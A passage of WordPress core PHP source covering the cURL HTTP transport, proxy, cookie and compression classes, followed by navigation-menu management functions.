@var string */ private $body = ''; /** * The maximum amount of data to receive from the remote server. * * @since 3.6.0 * @access private * @var int */ private $max_body_length = false; /** * The file resource used for streaming to file. * * @since 3.6.0 * @access private * @var resource */ private $stream_handle = false; /** * The total bytes written in the current request. * * @since 4.1.0 * @access private * @var int */ private $bytes_written_total = 0; /** * Send a HTTP request to a URI using cURL extension. * * @access public * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array() ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if ( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $r ); $handle = curl_init(); // cURL offers really easy proxy support. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); if ( $proxy->use_authentication() ) { curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY ); curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); } } $is_local = isset($r['local']) && $r['local']; $ssl_verify = isset($r['sslverify']) && $r['sslverify']; if ( $is_local ) { /** This filter is documented in wp-includes/class-http.php */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify ); } /* * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since. * a value of 0 will allow an unlimited timeout. */ $timeout = (int) ceil( $r['timeout'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_URL, $url); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( $ssl_verify === true ) ? 2 : false ); curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); curl_setopt( $handle, CURLOPT_CAINFO, $r['sslcertificates'] ); curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] ); /* * The option doesn't work with safe mode or when open_basedir is set, and there's * a bug #17490 with redirected POST requests, so handle redirections outside Curl. */ curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false ); if ( defined( 'CURLOPT_PROTOCOLS' ) ) // PHP 5.2.10 / cURL 7.19.4 curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS ); switch ( $r['method'] ) { case 'HEAD': curl_setopt( $handle, CURLOPT_NOBODY, true ); break; case 'POST': curl_setopt( $handle, CURLOPT_POST, true ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] ); break; case 'PUT': curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] ); break; default: curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $r['method'] ); if ( ! is_null( $r['body'] ) ) curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] ); break; } if ( true === $r['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) ); curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) ); } curl_setopt( $handle, CURLOPT_HEADER, false ); if ( isset( $r['limit_response_size'] ) ) $this->max_body_length = intval( $r['limit_response_size'] ); else $this->max_body_length = false; // If streaming to a file open a file handle, and setup our curl streaming handler. if ( $r['stream'] ) { if ( ! WP_DEBUG ) $this->stream_handle = @fopen( $r['filename'], 'w+' ); else $this->stream_handle = fopen( $r['filename'], 'w+' ); if ( ! $this->stream_handle ) return new WP_Error( 'http_request_failed', sprintf( __( 'Could not open handle for fopen() to %s' ), $r['filename'] ) ); } else { $this->stream_handle = false; } if ( !empty( $r['headers'] ) ) { // cURL expects full header strings in each element. $headers = array(); foreach ( $r['headers'] as $name => $value ) { $headers[] = "{$name}: $value"; } curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); } if ( $r['httpversion'] == '1.0' ) curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); else curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); /** * Fires before the cURL request is executed. * * Cookies are not currently handled by the HTTP API. This action allows * plugins to handle cookies themselves. * * @since 2.8.0 * * @param resource &$handle The cURL handle returned by curl_init(). * @param array $r The HTTP request arguments. * @param string $url The request URL. */ do_action_ref_array( 'http_api_curl', array( &$handle, $r, $url ) ); // We don't need to return the body, so don't. Just execute request and return. if ( ! $r['blocking'] ) { curl_exec( $handle ); if ( $curl_error = curl_error( $handle ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); } curl_exec( $handle ); $theHeaders = WP_Http::processHeaders( $this->headers, $url ); $theBody = $this->body; $bytes_written_total = $this->bytes_written_total; $this->headers = ''; $this->body = ''; $this->bytes_written_total = 0; $curl_error = curl_errno( $handle ); // If an error occurred, or, no response. if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) { if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error && $r['stream'] ) { if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) { fclose( $this->stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } } else { if ( $curl_error = curl_error( $handle ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } } curl_close( $handle ); if ( $r['stream'] ) fclose( $this->stream_handle ); $response = array( 'headers' => $theHeaders['headers'], 'body' => null, 'response' => $theHeaders['response'], 'cookies' => $theHeaders['cookies'], 'filename' => $r['filename'] ); // Handle redirects. if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) ) return $redirect_response; if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) ) $theBody = WP_Http_Encoding::decompress( $theBody ); $response['body'] = $theBody; return $response; } /** * Grab the headers of the cURL request * * Each header is sent individually to this callback, so we append to the $header property for temporary storage * * @since 3.2.0 * @access private * @return int */ private function stream_headers( $handle, $headers ) { $this->headers .= $headers; return strlen( $headers ); } /** * Grab the body of the cURL request * * The contents of the document are passed in chunks, so we append to the $body property for temporary storage. * Returning a length shorter than the length of $data passed in will cause cURL to abort the request with CURLE_WRITE_ERROR * * @since 3.6.0 * @access private * @return int */ private function stream_body( $handle, $data ) { $data_length = strlen( $data ); if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) { $data_length = ( $this->max_body_length - $this->bytes_written_total ); $data = substr( $data, 0, $data_length ); } if ( $this->stream_handle ) { $bytes_written = fwrite( $this->stream_handle, $data ); } else { $this->body .= $data; $bytes_written = $data_length; } $this->bytes_written_total += $bytes_written; // Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR. return $bytes_written; } /** * Whether this class can be used for retrieving an URL. * * @static * @since 2.7.0 * * @return boolean False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) return false; $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { $curl_version = curl_version(); // Check whether this cURL version support SSL requests. if ( ! (CURL_VERSION_SSL & $curl_version['features']) ) return false; } /** * Filter whether cURL can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args An array of request arguments. */ return apply_filters( 'use_curl_transport', true, $args ); } } /** * Adds Proxy support to the WordPress HTTP API. * * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to * enable proxy support. There are also a few filters that plugins can hook into for some of the * constants. * * Please note that only BASIC authentication is supported by most transports. * cURL MAY support more methods (such as NTLM authentication) depending on your environment. * * The constants are as follows: *
      *
    1. WP_PROXY_HOST - Enable proxy support and host for connecting.
    2. *
    3. WP_PROXY_PORT - Proxy port for connection. No default, must be defined.
    4. *
    5. WP_PROXY_USERNAME - Proxy username, if it requires authentication.
    6. *
    7. WP_PROXY_PASSWORD - Proxy password, if it requires authentication.
    8. *
    9. WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy. * You do not need to have localhost and the blog host in this list, because they will not be passed * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported, eg. *.wordpress.org
    10. *
    * * An example can be as seen below. * * define('WP_PROXY_HOST', '192.168.84.101'); * define('WP_PROXY_PORT', '8080'); * define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org'); * * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS * @since 2.8.0 */ class WP_HTTP_Proxy { /** * Whether proxy connection should be used. * * @since 2.8.0 * * @use WP_PROXY_HOST * @use WP_PROXY_PORT * * @return bool */ public function is_enabled() { return defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT'); } /** * Whether authentication should be used. * * @since 2.8.0 * * @use WP_PROXY_USERNAME * @use WP_PROXY_PASSWORD * * @return bool */ public function use_authentication() { return defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD'); } /** * Retrieve the host for the proxy server. * * @since 2.8.0 * * @return string */ public function host() { if ( defined('WP_PROXY_HOST') ) return WP_PROXY_HOST; return ''; } /** * Retrieve the port for the proxy server. * * @since 2.8.0 * * @return string */ public function port() { if ( defined('WP_PROXY_PORT') ) return WP_PROXY_PORT; return ''; } /** * Retrieve the username for proxy authentication. * * @since 2.8.0 * * @return string */ public function username() { if ( defined('WP_PROXY_USERNAME') ) return WP_PROXY_USERNAME; return ''; } /** * Retrieve the password for proxy authentication. * * @since 2.8.0 * * @return string */ public function password() { if ( defined('WP_PROXY_PASSWORD') ) return WP_PROXY_PASSWORD; return ''; } /** * Retrieve authentication string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication() { return $this->username() . ':' . $this->password(); } /** * Retrieve header string for proxy authentication. * * @since 2.8.0 * * @return string */ public function authentication_header() { return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() ); } /** * Whether URL should be sent through the proxy server. * * We want to keep localhost and the blog URL from being sent through the proxy server, because * some proxies can not handle this. We also have the constant available for defining other * hosts that won't be sent through the proxy. * * @since 2.8.0 * * @param string $uri URI to check. * @return bool True, to send through the proxy and false if, the proxy should not be used. */ public function send_through_proxy( $uri ) { /* * parse_url() only handles http, https type URLs, and will emit E_WARNING on failure. * This will be displayed on blogs, which is not reasonable. */ $check = @parse_url($uri); // Malformed URL, can not process, but this could mean ssl, so let through anyway. if ( $check === false ) return true; $home = parse_url( get_option('siteurl') ); /** * Filter whether to preempt sending the request through the proxy server. * * Returning false will bypass the proxy; returning true will send * the request through the proxy. Returning null bypasses the filter. * * @since 3.5.0 * * @param null $override Whether to override the request result. Default null. * @param string $uri URL to check. * @param array $check Associative array result of parsing the URI. * @param array $home Associative array result of parsing the site URL. */ $result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home ); if ( ! is_null( $result ) ) return $result; if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) ) return false; if ( !defined('WP_PROXY_BYPASS_HOSTS') ) return true; static $bypass_hosts; static $wildcard_regex = false; if ( null == $bypass_hosts ) { $bypass_hosts = preg_split('|,\s*|', WP_PROXY_BYPASS_HOSTS); if ( false !== strpos(WP_PROXY_BYPASS_HOSTS, '*') ) { $wildcard_regex = array(); foreach ( $bypass_hosts as $host ) $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); $wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i'; } } if ( !empty($wildcard_regex) ) return !preg_match($wildcard_regex, $check['host']); else return !in_array( $check['host'], $bypass_hosts ); } } /** * Internal representation of a single cookie. * * Returned cookies are represented using this class, and when cookies are set, if they are not * already a WP_Http_Cookie() object, then they are turned into one. * * @todo The WordPress convention is to use underscores instead of camelCase for function and method * names. Need to switch to use underscores instead for the methods. * * @package WordPress * @subpackage HTTP * @since 2.8.0 */ class WP_Http_Cookie { /** * Cookie name. * * @since 2.8.0 * @var string */ public $name; /** * Cookie value. * * @since 2.8.0 * @var string */ public $value; /** * When the cookie expires. * * @since 2.8.0 * @var string */ public $expires; /** * Cookie URL path. * * @since 2.8.0 * @var string */ public $path; /** * Cookie Domain. * * @since 2.8.0 * @var string */ public $domain; /** * Sets up this cookie object. * * The parameter $data should be either an associative array containing the indices names below * or a header string detailing it. * * @since 2.8.0 * @access public * * @param string|array $data { * Raw cookie data as header string or data array. * * @type string $name Cookie name. * @type mixed $value Value. Should NOT already be urlencoded. * @type string|int $expires Optional. Unix timestamp or formatted date. Default null. * @type string $path Optional. Path. Default '/'. * @type string $domain Optional. Domain. Default host of parsed $requested_url. * @type int $port Optional. Port. Default null. * } * @param string $requested_url The URL which the cookie was set on, used for default $domain * and $port values. */ public function __construct( $data, $requested_url = '' ) { if ( $requested_url ) $arrURL = @parse_url( $requested_url ); if ( isset( $arrURL['host'] ) ) $this->domain = $arrURL['host']; $this->path = isset( $arrURL['path'] ) ? $arrURL['path'] : '/'; if ( '/' != substr( $this->path, -1 ) ) $this->path = dirname( $this->path ) . '/'; if ( is_string( $data ) ) { // Assume it's a header string direct from a previous request. $pairs = explode( ';', $data ); // Special handling for first pair; name=value. Also be careful of "=" in value. $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); $this->name = $name; $this->value = urldecode( $value ); // Removes name=value from items. array_shift( $pairs ); // Set everything else as a property. foreach ( $pairs as $pair ) { $pair = rtrim($pair); // Handle the cookie ending in ; which results in a empty final pair. if ( empty($pair) ) continue; list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' ); $key = strtolower( trim( $key ) ); if ( 'expires' == $key ) $val = strtotime( $val ); $this->$key = $val; } } else { if ( !isset( $data['name'] ) ) return false; // Set properties based directly on parameters. foreach ( array( 'name', 'value', 'path', 'domain', 'port' ) as $field ) { if ( isset( $data[ $field ] ) ) $this->$field = $data[ $field ]; } if ( isset( $data['expires'] ) ) $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); else $this->expires = null; } } /** * Confirms that it's OK to send this cookie to the URL checked against. * * Decision is based on RFC 2109/2965, so look there for details on validity. * * @access public * @since 2.8.0 * * @param string $url URL you intend to send this cookie to * @return boolean true if allowed, false otherwise. */ public function test( $url ) { if ( is_null( $this->name ) ) return false; // Expires - if expired then nothing else matters. if ( isset( $this->expires ) && time() > $this->expires ) return false; // Get details on the URL we're thinking about sending to. $url = parse_url( $url ); $url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' == $url['scheme'] ? 443 : 80 ); $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; // Values to use for comparison against the URL. $path = isset( $this->path ) ? $this->path : '/'; $port = isset( $this->port ) ? $this->port : null; $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); if ( false === stripos( $domain, '.' ) ) $domain .= '.local'; // Host - very basic check that the request URL ends with the domain restriction (minus leading dot). $domain = substr( $domain, 0, 1 ) == '.' ? substr( $domain, 1 ) : $domain; if ( substr( $url['host'], -strlen( $domain ) ) != $domain ) return false; // Port - supports "port-lists" in the format: "80,8000,8080". if ( !empty( $port ) && !in_array( $url['port'], explode( ',', $port) ) ) return false; // Path - request path must start with path restriction. if ( substr( $url['path'], 0, strlen( $path ) ) != $path ) return false; return true; } /** * Convert cookie name and value back to header string. * * @access public * @since 2.8.0 * * @return string Header encoded cookie name and value. */ public function getHeaderValue() { if ( ! isset( $this->name ) || ! isset( $this->value ) ) return ''; /** * Filter the header-encoded cookie value. * * @since 3.4.0 * * @param string $value The cookie value. * @param string $name The cookie name. */ return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name ); } /** * Retrieve cookie header for usage in the rest of the WordPress HTTP API. * * @access public * @since 2.8.0 * * @return string */ public function getFullHeader() { return 'Cookie: ' . $this->getHeaderValue(); } } /** * Implementation for deflate and gzip transfer encodings. * * Includes RFC 1950, RFC 1951, and RFC 1952. * * @since 2.8.0 * @package WordPress * @subpackage HTTP */ class WP_Http_Encoding { /** * Compress raw string using the deflate format. * * Supports the RFC 1951 standard. * * @since 2.8.0 * * @param string $raw String to compress. * @param int $level Optional, default is 9. Compression level, 9 is highest. * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports. * @return string|false False on failure. */ public static function compress( $raw, $level = 9, $supports = null ) { return gzdeflate( $raw, $level ); } /** * Decompression of deflated string. * * Will attempt to decompress using the RFC 1950 standard, and if that fails * then the RFC 1951 standard deflate will be attempted. Finally, the RFC * 1952 standard gzip decode will be attempted. If all fail, then the * original compressed string will be returned. * * @since 2.8.0 * * @param string $compressed String to decompress. * @param int $length The optional length of the compressed data. * @return string|bool False on failure. */ public static function decompress( $compressed, $length = null ) { if ( empty($compressed) ) return $compressed; if ( false !== ( $decompressed = @gzinflate( $compressed ) ) ) return $decompressed; if ( false !== ( $decompressed = WP_Http_Encoding::compatible_gzinflate( $compressed ) ) ) return $decompressed; if ( false !== ( $decompressed = @gzuncompress( $compressed ) ) ) return $decompressed; if ( function_exists('gzdecode') ) { $decompressed = @gzdecode( $compressed ); if ( false !== $decompressed ) return $decompressed; } return $compressed; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * @link https://core.trac.wordpress.org/ticket/18273 * @link http://au2.php.net/manual/en/function.gzinflate.php#70875 * @link http://au2.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gzData String to decompress. * @return string|bool False on failure. */ public static function compatible_gzinflate($gzData) { // Compressed data might contain a full header, if so strip it for gzinflate(). if ( substr($gzData, 0, 3) == "\x1f\x8b\x08" ) { $i = 10; $flg = ord( substr($gzData, 3, 1) ); if ( $flg > 0 ) { if ( $flg & 4 ) { list($xlen) = unpack('v', substr($gzData, $i, 2) ); $i = $i + 2 + $xlen; } if ( $flg & 8 ) $i = strpos($gzData, "\0", $i) + 1; if ( $flg & 16 ) $i = strpos($gzData, "\0", $i) + 1; if ( $flg & 2 ) $i = $i + 2; } $decompressed = @gzinflate( substr($gzData, $i, -8) ); if ( false !== $decompressed ) return $decompressed; } // Compressed data from java.util.zip.Deflater amongst others. $decompressed = @gzinflate( substr($gzData, 2) ); if ( false !== $decompressed ) return $decompressed; return false; } /** * What encoding types to accept and their priority values. * * @since 2.8.0 * * @param string $url * @param array $args * @return string Types of encoding to accept. */ public static function accept_encoding( $url, $args ) { $type = array(); $compression_enabled = WP_Http_Encoding::is_available(); if ( ! $args['decompress'] ) // Decompression specifically disabled. $compression_enabled = false; elseif ( $args['stream'] ) // Disable when streaming to file. $compression_enabled = false; elseif ( isset( $args['limit_response_size'] ) ) // If only partial content is being requested, we won't be able to decompress it. $compression_enabled = false; if ( $compression_enabled ) { if ( function_exists( 'gzinflate' ) ) $type[] = 'deflate;q=1.0'; if ( function_exists( 'gzuncompress' ) ) $type[] = 'compress;q=0.5'; if ( function_exists( 'gzdecode' ) ) $type[] = 'gzip;q=0.5'; } /** * Filter the allowed encoding types. * * @since 3.6.0 * * @param array $type Encoding types allowed. Accepts 'gzinflate', * 'gzuncompress', 'gzdecode'. * @param string $url URL of the HTTP request. * @param array $args HTTP request arguments. */ $type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args ); return implode(', ', $type); } /** * What encoding the content used when it was compressed to send in the headers. * * @since 2.8.0 * * @return string Content-Encoding string to send in the header. */ public static function content_encoding() { return 'deflate'; } /** * Whether the content be decoded based on the headers. * * @since 2.8.0 * * @param array|string $headers All of the available headers. * @return bool */ public static function should_decode($headers) { if ( is_array( $headers ) ) { if ( array_key_exists('content-encoding', $headers) && ! empty( $headers['content-encoding'] ) ) return true; } else if ( is_string( $headers ) ) { return ( stripos($headers, 'content-encoding:') !== false ); } return false; } /** * Whether decompression and compression are supported by the PHP version. * * Each function is tested instead of checking for the zlib extension, to * ensure that the functions all exist in the PHP version and aren't * disabled. * * @since 2.8.0 * * @return bool */ public static function is_available() { return ( function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') ); } } /** * Navigation Menu functions * * @package WordPress * @subpackage Nav_Menus * @since 3.0.0 */ /** * Returns a navigation menu object. * * @since 3.0.0 * * @param string $menu Menu ID, slug, or name. * @return mixed false if $menu param isn't supplied or term does not exist, menu object if successful. */ function wp_get_nav_menu_object( $menu ) { if ( ! $menu ) return false; $menu_obj = get_term( $menu, 'nav_menu' ); if ( ! $menu_obj ) $menu_obj = get_term_by( 'slug', $menu, 'nav_menu' ); if ( ! $menu_obj ) $menu_obj = get_term_by( 'name', $menu, 'nav_menu' ); if ( ! $menu_obj ) $menu_obj = false; return $menu_obj; } /** * Check if the given ID is a navigation menu. * * Returns true if it is; false otherwise. * * @since 3.0.0 * * @param int|string $menu The menu to check (ID, slug, or name). * @return bool Whether the menu exists. */ function is_nav_menu( $menu ) { if ( ! $menu ) return false; $menu_obj = wp_get_nav_menu_object( $menu ); if ( $menu_obj && ! is_wp_error( $menu_obj ) && ! empty( $menu_obj->taxonomy ) && 'nav_menu' == $menu_obj->taxonomy ) return true; return false; } /** * Register navigation menus for a theme. * * @since 3.0.0 * * @param array $locations Associative array of menu location identifiers (like a slug) and descriptive text. */ function register_nav_menus( $locations = array() ) { global $_wp_registered_nav_menus; add_theme_support( 'menus' ); $_wp_registered_nav_menus = array_merge( (array) $_wp_registered_nav_menus, $locations ); } /** * Unregisters a navigation menu for a theme. * * @param string $location The menu location identifier. * @return bool True on success, false on failure. */ function unregister_nav_menu( $location ) { global $_wp_registered_nav_menus; if ( is_array( $_wp_registered_nav_menus ) && isset( $_wp_registered_nav_menus[$location] ) ) { unset( $_wp_registered_nav_menus[$location] ); if ( empty( $_wp_registered_nav_menus ) ) { _remove_theme_support( 'menus' ); } return true; } return false; } /** * Register a navigation menu for a theme. * * @since 3.0.0 * * @param string $location Menu location identifier, like a slug. * @param string $description Menu location descriptive text. */ function register_nav_menu( $location, $description ) { register_nav_menus( array( $location => $description ) ); } /** * Returns an array of all registered navigation menus in a theme * * @since 3.0.0 * @return array */ function get_registered_nav_menus() { global $_wp_registered_nav_menus; if ( isset( $_wp_registered_nav_menus ) ) return $_wp_registered_nav_menus; return array(); } /** * Returns an array with the registered navigation menu locations and the menu assigned to it * * @since 3.0.0 * @return array */ function get_nav_menu_locations() { $locations = get_theme_mod( 'nav_menu_locations' ); return ( is_array( $locations ) ) ? $locations : array(); } /** * Whether a registered nav menu location has a menu assigned to it. * * @since 3.0.0 * @param string $location Menu location identifier. * @return bool Whether location has a menu. */ function has_nav_menu( $location ) { $registered_nav_menus = get_registered_nav_menus(); if ( ! isset( $registered_nav_menus[ $location ] ) ) { return false; } $locations = get_nav_menu_locations(); return ( ! empty( $locations[ $location ] ) ); } /** * Determine whether the given ID is a nav menu item. * * @since 3.0.0 * * @param int $menu_item_id The ID of the potential nav menu item. * @return bool Whether the given ID is that of a nav menu item. */ function is_nav_menu_item( $menu_item_id = 0 ) { return ( ! is_wp_error( $menu_item_id ) && ( 'nav_menu_item' == get_post_type( $menu_item_id ) ) ); } /** * Create a Navigation Menu. * * @since 3.0.0 * * @param string $menu_name Menu name. * @return int|WP_Error Menu ID on success, WP_Error object on failure. */ function wp_create_nav_menu( $menu_name ) { return wp_update_nav_menu_object( 0, array( 'menu-name' => $menu_name ) ); } /** * Delete a Navigation Menu. * * @since 3.0.0 * * @param string $menu Menu ID, slug, or name. * @return bool|WP_Error True on success, false or WP_Error object on failure. */ function wp_delete_nav_menu( $menu ) { $menu = wp_get_nav_menu_object( $menu ); if ( ! $menu ) return false; $menu_objects = get_objects_in_term( $menu->term_id, 'nav_menu' ); if ( ! empty( $menu_objects ) ) { foreach ( $menu_objects as $item ) { wp_delete_post( $item ); } } $result = wp_delete_term( $menu->term_id, 'nav_menu' ); // Remove this menu from any locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { if ( $menu_id == $menu->term_id ) $locations[ $location ] = 0; } set_theme_mod( 'nav_menu_locations', $locations ); if ( $result && !is_wp_error($result) ) /** * Fires after a navigation menu has been successfully deleted. * * @since 3.0.0 * * @param int $term_id ID of the deleted menu. */ do_action( 'wp_delete_nav_menu', $menu->term_id ); return $result; } /** * Save the properties of a menu or create a new menu with those properties. * * @since 3.0.0 * * @param int $menu_id The ID of the menu or "0" to create a new menu. * @param array $menu_data The array of menu data. * @return int|WP_Error Menu ID on success, WP_Error object on failure. */ function wp_update_nav_menu_object( $menu_id = 0, $menu_data = array() ) { $menu_id = (int) $menu_id; $_menu = wp_get_nav_menu_object( $menu_id ); $args = array( 'description' => ( isset( $menu_data['description'] ) ? $menu_data['description'] : '' ), 'name' => ( isset( $menu_data['menu-name'] ) ? $menu_data['menu-name'] : '' ), 'parent' => ( isset( $menu_data['parent'] ) ? (int) $menu_data['parent'] : 0 ), 'slug' => null, ); // double-check that we're not going to have one menu take the name of another $_possible_existing = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' ); if ( $_possible_existing && ! is_wp_error( $_possible_existing ) && isset( $_possible_existing->term_id ) && $_possible_existing->term_id != $menu_id ) return new WP_Error( 'menu_exists', sprintf( __('The menu name %s conflicts with another menu name. Please try another.'), esc_html( $menu_data['menu-name'] ) ) ); // menu doesn't already exist, so create a new menu if ( ! $_menu || is_wp_error( $_menu ) ) { $menu_exists = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' ); if ( $menu_exists ) return new WP_Error( 'menu_exists', sprintf( __('The menu name %s conflicts with another menu name. Please try another.'), esc_html( $menu_data['menu-name'] ) ) ); $_menu = wp_insert_term( $menu_data['menu-name'], 'nav_menu', $args ); if ( is_wp_error( $_menu ) ) return $_menu; /** * Fires after a navigation menu is successfully created. * * @since 3.0.0 * * @param int $term_id ID of the new menu. * @param array $menu_data An array of menu data. */ do_action( 'wp_create_nav_menu', $_menu['term_id'], $menu_data ); return (int) $_menu['term_id']; } if ( ! $_menu || ! isset( $_menu->term_id ) ) return 0; $menu_id = (int) $_menu->term_id; $update_response = wp_update_term( $menu_id, 'nav_menu', $args ); if ( is_wp_error( $update_response ) ) return $update_response; /** * Fires after a navigation menu has been successfully updated. * * @since 3.0.0 * * @param int $menu_id ID of the updated menu. * @param array $menu_data An array of menu data. */ do_action( 'wp_update_nav_menu', $menu_id, $menu_data ); return $menu_id; } /** * Save the properties of a menu item or create a new one. * * @since 3.0.0 * * @param int $menu_id The ID of the menu. Required. If "0", makes the menu item a draft orphan. * @param int $menu_item_db_id The ID of the menu item. If "0", creates a new menu item. * @param array $menu_item_data The menu item's data. * @return int|WP_Error The menu item's database ID or WP_Error object on failure. */ function wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array() ) { $menu_id = (int) $menu_id; $menu_item_db_id = (int) $menu_item_db_id; // make sure that we don't convert non-nav_menu_item objects into nav_menu_item objects if ( ! empty( $menu_item_db_id ) && ! is_nav_menu_item( $menu_item_db_id ) ) return new WP_Error( 'update_nav_menu_item_failed', __( 'The given object ID is not that of a menu item.' ) ); $menu = wp_get_nav_menu_object( $menu_id ); if ( ! $menu && 0 !== $menu_id ) { return new WP_Error( 'invalid_menu_id', __( 'Invalid menu ID.' ) ); } if ( is_wp_error( $menu ) ) { return $menu; } $defaults = array( 'menu-item-db-id' => $menu_item_db_id, 'menu-item-object-id' => 0, 'menu-item-object' => '', 'menu-item-parent-id' => 0, 'menu-item-position' => 0, 'menu-item-type' => 'custom', 'menu-item-title' => '', 'menu-item-url' => '', 'menu-item-description' => '', 'menu-item-attr-title' => '', 'menu-item-target' => '', 'menu-item-classes' => '', 'menu-item-xfn' => '', 'menu-item-status' => '', ); $args = wp_parse_args( $menu_item_data, $defaults ); if ( 0 == $menu_id ) { $args['menu-item-position'] = 1; } elseif ( 0 == (int) $args['menu-item-position'] ) { $menu_items = 0 == $menu_id ? array() 